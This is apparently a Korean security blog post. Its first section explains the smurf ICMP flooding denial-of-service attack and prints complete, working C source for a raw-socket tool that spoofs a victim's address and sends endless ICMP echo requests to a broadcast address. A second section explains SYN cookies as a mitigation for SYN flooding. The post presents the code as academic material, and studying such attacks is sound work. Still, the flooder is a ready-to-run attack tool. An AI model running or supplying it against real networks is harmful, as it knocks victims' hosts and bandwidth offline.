ICMP Flooding – smurf attack

SYNOPSIS

Smurf 공격은 DoS(Denial-of-service) 공격의 하나로 source 주소를 victim의 주소로 dest 주소를 broadcast address로 spoofing한 ping request 메시지를 네트워크에 흘리는 공격이다. 네트워크에 물린 노드들은 ping response 메시지를 victim으로 보내어 bandwidth와 네트워크 resource를 소모시키게 된다.

SCENARIO

Broadcast address 계산 방법은 Netmask를 1의 보수를 취한 값과 IP address와의 OR 연산이다.

Broadcast addr = IP | ~NETMASK

공격 설정

Victim’s IP: 192.168.41.22 / 24
Broadcast address: 192.168.41.255

ANALYSIS

네트워크에 물린 모든 노드들이 Victim의 주소로 Ping response 메시지를 전송하는 것을 확인 할 수 있다.

ATTACK SOURCE CODE

/*
 * Copyright (c) 2011 Jae-young, Park <onurmark1@gmail.com>
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

#define PCKT_LEN 512

unsigned short csum(unsigned short *buf, int len)
{
	unsigned long sum;

	for (sum = 0; len > 0; len--)
		sum += *buf++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);

	return (unsigned short)(~sum);
}

int main(int argc, char **argv)
{
	int s, i;
	char buffer[PCKT_LEN];
	struct iphdr *ipheader = (struct iphdr *)buffer;
	struct icmphdr *icmpheader = (struct icmphdr *)(buffer + sizeof(struct iphdr));
	struct sockaddr_in dst;
	int on;

	if (argc < 3) {
		printf("\nUsage: %s <spoofed saddress> <broadcast address>\n", argv[0]);

		exit(1);
	}

	on = 1;
	memset(buffer, 0x0, PCKT_LEN);

	if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("Error: socket()");
		exit(1);
	}

	// Inform the kernel do not fill up the headers' structure, we fabricated our own
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
		perror("Error: setsockopt()");
		exit(1);
	}

	// Set use broadcast address
	if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
		perror("Error: setsockopt() - boradcast");
		exit(1);
	}

	// IP structure
	ipheader->version	= 4;
	ipheader->ihl		= sizeof(struct iphdr) >> 2;
	ipheader->tot_len	= htons(sizeof(struct iphdr) + sizeof(struct icmphdr));
	ipheader->ttl		= 128;
	ipheader->protocol	= IPPROTO_ICMP;
	ipheader->daddr		= inet_addr(argv[2]);
	ipheader->saddr		= inet_addr(argv[1]);

	dst.sin_family		= AF_INET;
	dst.sin_addr.s_addr	= ipheader->daddr;

	// ICMP structure
	icmpheader->type				= ICMP_ECHO;
	icmpheader->code				= 0;
	icmpheader->un.echo.id			= 0xae23;
	icmpheader->un.echo.sequence	= htons(1);

	// Checksum
	ipheader->check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct icmphdr)));
	icmpheader->checksum = csum((unsigned short *)icmpheader, sizeof(struct icmphdr));

	while(1) {
		if (sendto(s, buffer, sizeof(struct iphdr) + sizeof(struct icmphdr), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
			perror("sendto() error");
		}
	}
	close(s);

	return 0;
}

* 위 소스 코드를 사용하여 발생되는 모든 법적 책임은 사용자 본인에게 있습니다. 학술용도로만 사용하세요.

SYN Cookie

SYNOPSIS

SYN Cookie는 클라이언트의 SYN 패킷에 대한 응답으로 SYN/ACK를 전송할때 ISN(Initial Sequence Number)에 다가 cookie 값을 집어 넣어 클라이언트의 TCP connection을 establish 하는 방법이다. SYN flooding에 대한 방어법은 아니지만 완화하는 효과가 있다.

CREATE cookie

* ISN 생성은 여러가지 방법이 있으나 기본적인 로직은 같으므로 간단한 것으로 예시함. 추측이 불가능하고 생성속도가 빠를수록 좋은 알고리즘이다.

t = timestamp (64 second의 해상도를 가짐) 즉, 최대 64초 동안 유효한 cookie가 생성
m = MSS(Maximum Segment Size)
s = server IP + PORT, client IP + PORT + t의 24bits hash 값

SYN cookie에서 ISN(Initial Sequence Number) 생성 방법
First 5bits: t mod 32
Next 3bits: m의 encoded value
Final 24bits: s

3-way handshaking with SYN cookie

그림은 3-way handshaking 과정에서 SYN cookie의 동작을 예시하고 있다.

  1. 클라이언트의 SYN패킷을 수신
  2. 응답으로 SYN/ACK 패킷의 Sequence number field에다가 cookie값을 넣어 클라이언트에 송신
  3. 클라이언트는 SYN/ACK의 응답으로 Acknowledgement number field에 cookie + 1 값을 서버로 송신
  4. 서버는 수신한 ACK 패킷의 Acknowledgement number field – 1 값이 cookie 값과 일치하면 TCP connection을 establish 한다.

RESTRICTIONS

SYN Cookie 방법은 프로토콜 스펙의 수정이 필요 없으므로 현재의 TCP implementation과 호환이 되는 방법이다. 그러나 3가지 정도의 제한 사항이 발생한다.

  • MSS 값이 3bit로 encode 되므로 특정한 2의 3승인 8가지 값만 사용할 수 있다.
  • Server의 경우 모든 TCP options의 사용이 불가능해진다. backlog 큐에 저장할 때 패킷 옵션이 같이 저장되나 SYN cookie 경우 그 과정이 생략되므로 TCP options을 사용 할 수 없다.
  • 정상적인 클라이언트가 마지막으로 보낸 ACK가 네트워크에서 분실될 경우 클라이언트는 3-way handshake가 완료되었지만 서버의 경우는 그렇지 않으므로 연결이 불가능해진다.

SYN Cookie는 엄밀히 말하면 클라이언트의 유효성을 확인 하는 알고리즘이다. 그러나 backlog queue를 사용하지 않으므로 SYN flooding에 좀 더 잘 견디는 특성이 있지만 방어법이라고는 할 수 없다.

Reference


http://en.wikipedia.org/wiki/SYN_cookies